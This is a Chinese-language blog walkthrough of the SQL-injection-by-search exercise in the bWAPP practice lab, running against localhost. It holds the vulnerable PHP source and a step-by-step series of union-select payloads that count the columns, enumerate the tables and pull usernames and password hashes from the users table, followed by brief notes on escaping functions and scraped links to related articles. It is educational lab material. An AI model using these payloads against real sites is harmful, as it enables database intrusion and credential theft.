SQL注入:

SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

LOW:

0x01:分析一下网站的后台源码

主要源代码:

 if(isset($_GET["title"]))//判断通过get方法获取title的值是否为空值
{
//将get方法获取的值赋值个title变量
$title = $_GET["title"];
//后台SQL查询语句
$sql = "SELECT * FROM movies WHERE title LIKE '%" . sqli($title) . "%'";
//对MySQL数据库进行查询
$recordset = mysql_query($sql, $link);
if(!$recordset)
{
// die("Error: " . mysql_error());
?>

可以看到,后台对输入的值没有进行任何的过滤就直接对数据库进行查询了,这是个致命的漏洞。怎么进行防护,我们以后的课程再说,就是这个平台的high级别的方法。

0x02:测试分析

在输入框内输入一些数字,点击搜索

什么都没有出来。

网址栏:

http://127.0.0.1/sqli_1.php?title=1&action=search

我们再输入一些字符,输入一个e,点击搜索

可以看到出现很多内容,只要Title栏中带e的都会显示出来。

网址栏:

http://127.0.0.1/sqli_1.php?title=e&action=search

这样我们可以分析得出这里是一个字符型的get请求。

0x03:测试漏洞

接下来我们进行测试这里是否存在SQL注入漏洞

常用的方法:

'(英文符的单引号)报错测试大法
and和or测试大法

输入:

e'

点击搜索后

报错了,说明很大可能存在SQL注入漏洞了。

0x04:爆字段(字段就是这个数据表中的列)

使用的方法:

order by 语句
二分查找法

输入:

the' order by 10#

报错,说明字段数少于10

再输入:

the' order by 5#

这是个正常页面,表示没查到信息,没有爆出错误,说明字段数大于5小于10。

再输入:

the' order by 8#

8也报错,小于8

再输入:

the' order by 7#

发现没有报错,8报错,7没报错,说明字段数就是7了。

0x07:爆表(即获取当前数据表)

使用的技术

union select联合注入

输入:

the' union select 1,2,3,4,5,6,7#

这个1到7就是我们查出来这个表有的列

我们可以看到,出现了几个数字2、3、5、4

把一些内置函数替换这几个数字,会得出我们想要的东西。

例如

查看当前数据库名:

输入:

the' union select 1,database(),3,4,5,6,7#

我们将2替换成database()这个函数

可以看到原来Title栏的2变成了我们要查的当前数据库的名称bWAPP。

相关函数

system_user()         系统用户名
user() 用户名
current_user 当前用户名
session_user() 连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统

这些函数,你们自己都尝试去替换里面的数字,一次性替换几个也行,只要这些数字都是我们利用联合查询查到的数字就行。

我查看MySQL的版本号和当前数据库名:

输入:

the' union select 1,database(),version(),4,5,6,7#

可以看到在Release栏出现MySQL的版本5.547。

暴数据表

输入:

the' union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database()#

可以看到,爆出了5个表,其中users表是一个比较重要的表,也是值得我们注意的表。

0x06:获取后台账户用户名和密码

先查看users表的所有的列的信息

输入:

the' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#

其中的login和password,应该是我们有我们想要的东西。

那我们就去查出它们的信息

输入:

the' union select 1,login,password,4,5,6,7 from users#

在Title和Release栏把它们对应的账号和密码爆出了,其中密码是经过md5加密,我们需要去解密

Medium:

防护代码:

function sqli_check_1($data)
{ return addslashes($data); }

使用了addslashes()函数。

在php中,addslashes()函数是对输入字符串中的某些预定义字符前添加反斜杠;

预定义字符是:

  • 单引号(')
  • 双引号(")
  • 反斜杠(\)
  • NULL

High:

防护源码:

function sqli_check_2($data)
{ return mysql_real_escape_string($data); }

使用了mysql_real_escape_string()函数。

bWAPP练习--injection篇SQL Injection (GET/Search)的更多相关文章

  1. SQL injection

    SQL injection is a code injection technique, used to attack data-driven applications, in which malic ...

  2. Web for pentester_writeup之Commands injection篇

    Web for pentester_writeup之Commands injection篇 Commands injection(命令行注入) 代码注入和命令行注入有什么区别呢,代码注入涉及比较广泛, ...

  3. Web for pentester_writeup之Code injection篇

    Web for pentester_writeup之Code injection篇 Code injection(代码注入) Example 1 <1> name=hacker' 添加一个 ...

  4. DVWA之 SQL Injection(Blind)

    SQL Injection(Blind) SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法 ...

  5. ecshop /search.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECSHOP商城系统Search.php页面过滤不严导致SQL注入漏洞 ...

  6. 梨子带你刷burp练兵场(burp Academy) - 服务器篇 - Sql注入 - SQL injection UNION attack, determining the number of columns returned by the query

    目录 SQL injection UNION attack, determining the number of columns returned by the query SQL injection ...

  7. dedecms /plus/search.php SQL Injection && Local Variable Overriding

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 这个文件有两处注入漏洞 . $typeid变量覆盖导致ChannelTy ...

  8. SQL注入(SQL Injection)案例和防御方案

    sql注入(SQL Injection):就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. SQL注入攻击的主要危害包括:非法读取.篡 ...

  9. How to prevent SQL injection attacks?

    In our earlier tutorial on SQL Injection, one way to have prevented the SQL injection attack was by ...

随机推荐

  1. NOIP模拟3

    期望得分:30+90+100=220 实际得分:30+0+10=40 T1智障错误:n*m是n行m列,硬是做成了m行n列 T2智障错误:读入三个数写了两个%d T3智障错误:数值相同不代表是同一个数 ...

  2. CSS3之伪元素选择器和伪类选择器

    伪类选择器,和一般的DOM中的元素样式不一样,它并不改变任何DOM内容.只是插入了一些修饰类的元素,这些元素对于用户来说是可见的,但是对于DOM来说不可见.伪类的效果可以通过添加一个实际的类来达到. ...

  3. .Net各版本新特性

    序言 C# 1.0 (2002) public interface IDateProvider { DateTime GetDate(); } 隐式接口实现 public class DefaultD ...

  4. Oozie与Coordinator调度讲解及系统时区配置与定时触发两种配置方式

    1:修改本地linux时区 查看时区 - 号代表西  + 号 代表东 北京时间是东八区 设置时区的配置文件所在位置 cd /usr/share/zoneinfo/ 选择以亚洲的上海 的时区为基址 删除 ...

  5. 在Unity中实现屏幕空间反射Screen Space Reflection(2)

    traceRay函数 在上一篇中,我们有如下签名的traceRay函数 bool traceRay(float3 start, float3 direction, out float2 hitPixe ...

  6. 导航狗IT周报-2018年05月27日

    原文链接:https://www.daohanggou.cn/2018/05/27/it-weekly-9/ 摘要: “灰袍技能圈子”将闭圈:物理安全:为什么我们现在的生活节奏越来越快? 技术干货 1 ...

  7. 136.Single Number---异或、位运算

    题目链接 题目大意:给出一串数组,里面的数都是两个,只有一个数是一个,把这个只有一个的数找出来.时间复杂度最好是线性的,空间复杂度最好为O(1). 法一:利用map,空间换时间,代码如下(耗时26ms ...

  8. 003iptables 命令介绍

    http://www.cnblogs.com/wangkangluo1/archive/2012/04/19/2457072.html iptables 防火墙可以用于创建过滤(filter)与NAT ...

  9. 清理oracle的用户中的日志垃圾以及修改sys用户的密码

    清理oracle的用户中的日志垃圾1.进入:/opt/oracle/product/11g/network/admin目录2.注释掉listener.ora文件中的TRACE_LEVEL_LISTEN ...

  10. python-unittest学习

    在说unittest之前,先说几个概念: TestCase 也就是测试用例 TestSuite 多个测试用例集合在一起,就是TestSuite TestLoader是用来加载TestCase到Test ...